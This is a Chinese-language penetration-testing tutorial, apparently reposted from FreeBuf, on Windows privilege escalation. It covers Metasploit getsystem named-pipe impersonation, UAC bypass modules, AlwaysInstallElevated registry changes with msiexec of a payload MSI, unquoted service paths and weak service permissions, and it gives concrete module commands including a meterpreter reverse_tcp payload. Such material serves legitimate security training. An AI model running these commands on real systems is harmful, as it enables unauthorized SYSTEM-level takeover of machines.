渗透测试框架提权 | xxx渗透测试框架提权 – xxx
菜单

渗透测试框架提权

三月 27, 2024 - FreeBuf

MSF提权

Getsystem命名管道原理

1、命名管道介绍

命名管道(Named Pipes)是一种简单的进程间通信(IPC)机制。命名管道可以在同一台计算机的不同进程之间,或者跨越一个网络的不同计算机的不同进程之间的可靠的双向或单向的数据通信。

命名管道的命名规范遵循“通用命名规范(UNC)” :

\serverpipe[path]name

注:

\server 指定一个服务器的名字,如果是本机则用\.表示,\192.168.1.100表示网络上的服务器。
pipe 是一个不可变化的“硬编码”字串(不区分大小写),用于指出该文件从属于NPFS
[path]name 则唯一标识一个命名管道的名称。

渗透测试框架提权2、模拟令牌

模拟令牌是命名管道中常见的一种方法,一般可以用来提权操作,Metasploit 中的 getsystem 也就是这个原理。

具体步骤:

1. 创建一个以system权限启动的程序,这个程序的作用是连接指定的命名管道。
2. 创建一个进程,并让进程创建命名管道。
3. 让之前的以system权限启动的程序启动并连接这个命名管道。
4. 利用ImpersonateNamedPipeClient()函数生成system权限的token。
5. 利用system权限的token启动cmd.exe。

3、 过程模拟

(1)下载powershell脚本

https://github.com/decoder-it/pipeserverimpersonate/blob/master/pipeserverimpersonate.ps1

(2)使用administrator用户通过powershell脚本创建一个命名管道

powershell -ep bypass -f pipeserverimpersonate.ps1

(3)启用新的Powershell,输入如下命令,查看Win7命令管道:

[System.IO.Directory]::GetFiles(“\.\pipe\”)

注:Win7及以上系统,查看命名管道还可以使用如下命令:

# 返回对象列表
get-childitem \.pipe

# 只显示名称
(get-childitem \.pipe).FullName

(4)在administrator用户权限下,启动一个新的cmd创建一个服务 shan-pipe

sc create shan-pipe binpath= “cmd /c echo test > \.pipeshan”

sc qc shan-pipe

(5)在administrator用户权限下,启动mingy-pipe服务

sc start shan-pipe

启动mingy-pipe服务时,会以SYSTEM权限执行 cmd /c echo test > \.pipemingy 命令,即以SYSTEM权限访问创建的命名管道 \.pipemingy,Powershell脚本会打开一个模拟连接命名管道客户端权限的cmd窗口

4、 原理总结

meterpreter的getsystem提权功能原理:
1. 首先会创建一个命名管道
2. 然后创建一个服务去运行cmd /c echo “some data” > \.pipe[random pipe name]
3. 当 cmd 连接到 Meterpreter 的命名管道的时候,通过令牌模拟模拟连接客户端的Token
4. 因为服务运行是 SYSTEM 权限,因此MSF也就得到了一个 SYSTEM 的 shell

5、运用以上原理进行Metasploit提权

1、上传msfvenom至靶机

2、msf开启监听

3、启动msfvenom进行上线msf

4、获取system权限

getsystem

5、恢复至原来用户

drop_token

2、BypassUAC

1、获得session

2、使用use exploit/windows/local/bypassuac 或者use exploit/windows/local/bypassuac_injection或者use exploit/windows/local/bypassuac_injection或者use exploit/windows/local/bypassuac_comhijack,任选其一设置好选项并运行

3、获得meterpreter之后使用getsystem进行提权

3、Local_exploit_suggester

use post/multi/recon/local_exploit_suggester

注:该模块为提权库,通过设置该模块中的session来筛选该模块中可用于该session的提权脚本

将跑出来的脚本一个一个试,例如:

use exploit/windows/local/bypassuac_eventvwr
set session 7
set payload windows/x64/meterpreter/reverse_tcp
set target 1
run

Windows系统服务漏洞提权

1、AlwaysInstallElevated

(1)简介
任意用户以NT AUTHORITYSYSTEM权限安装MSI安装包。
MSI:Microsoft Silent Installer,是微软的安装包格式,它在后台运行.exe安装程序
AlwaysInstallElevated 是一个策略设置,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权用户以system权限运行MSI文件。

思路:如果目标系统上启用了这一设置,我们可以使用msf生成paload用msi程序将payload封装为msi来以system权限执行任意payload。

(2)判断是否开启策略

reg query HKEY_CURRENT_USERSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated
reg query HKEY_LOCAL_MACHINESOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated

(3)若没有开启,则用以下方法开启

reg add HKCUSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated /t REG_DWORD /d 1
reg add HKLMSOFTWAREPoliciesMicrosoftWindowsInstaller /v AlwaysInstallElevated /t REG_DWORD /d 1

HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsInstall        (AlwaysInstalledElevated=1)
HKEY_CURRENT_USERSoftwarePoliciesMicrosofWindowsInstaller        (AlwaysInstalledElevated=1)

(4)下载exemsi
https://www.exemsi.com/download/

(5)msf生成payload程序

(6)用msi封装程序将paylod封装成msi

(7)运行msi程序,得到system权限的shell
受害者机器上执行:

msiexec /quiet /qn /i 1.msi

(8)开启监听获得session

(9)使用always_install_elevated模块进行提权

use exploit/windows/local/always_install_elevated
set sessions 1
run

2、可信任服务路径 

存在缺陷的服务程序利用属于可执行文件的文件/文件夹权限,Windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。

例如:

C:Program Files (x86)Windows FolderCommon FolderFolder.exe

会去依次寻找下面的exe,如果有,就会执行exe,并且将后面的东西当作参数
C:Program.exe
C:Program Files (x86)Windows.exe
C:Program Files (x86)Windows FolderCommon.exe
C:Program Files (x86)Windows FolderCommon FolderFolder.exe

(1)检查目标主机是否可能存在漏洞

wmic service get name,displayname,pathname,startmode|findstr /i “Auto” |findstr /i /v “C:Windows\” |findstr/i /v “””

(2)检查对有漏洞目录是否有写入权限

icacls “筛选出的服务”

F =完全控制
CI =容器继承 – 此标志指示从属容器将继承此ACE。
OI = Object Inherit – 这个标志表示从属文件将继承ACE。

(3)生成payload

(4)上传到对应的目录中

(5)重启服务

sc qc “筛选出的服务”

sc stop “筛选出的服务”
sc start “筛选出的服务”
没有权限重启服务,等待服务器重启时执行exe

MSF自动攻击:

Metasploit集成有 unquoted_service_path 模块

use exploit/windows/local/unquoted_service_path
set session 1
run

注:

(1)1083报错是因为原来要启动的服务,启动为了上传的木马,上传的木马不能进行通信,原本的服务没有启动,所以会有报错。

(2)如果弹回一个system权限的meterpreter shell,但是我们新得到的会话很快就中断了。这是因为当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。

3、不安全的服务权限

如果一个低权限的用户对运行在系统权限上的服务程序(可执行)具有可写的权限,那么就可以将其替换成我们的恶意可执行文件,从而随着系统启动服务而获得系统权限。

利用MSF的service_permissions模块进行攻击:

use exploit/windows/local/service_permissions
set sessions 1
run

CobaltStrike提权

获取beacon后直接提权

# 渗透测试
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022

Notice: Undefined variable: canUpdate in /var/www/html/wordpress/wp-content/plugins/wp-autopost-pro/wp-autopost-function.php on line 51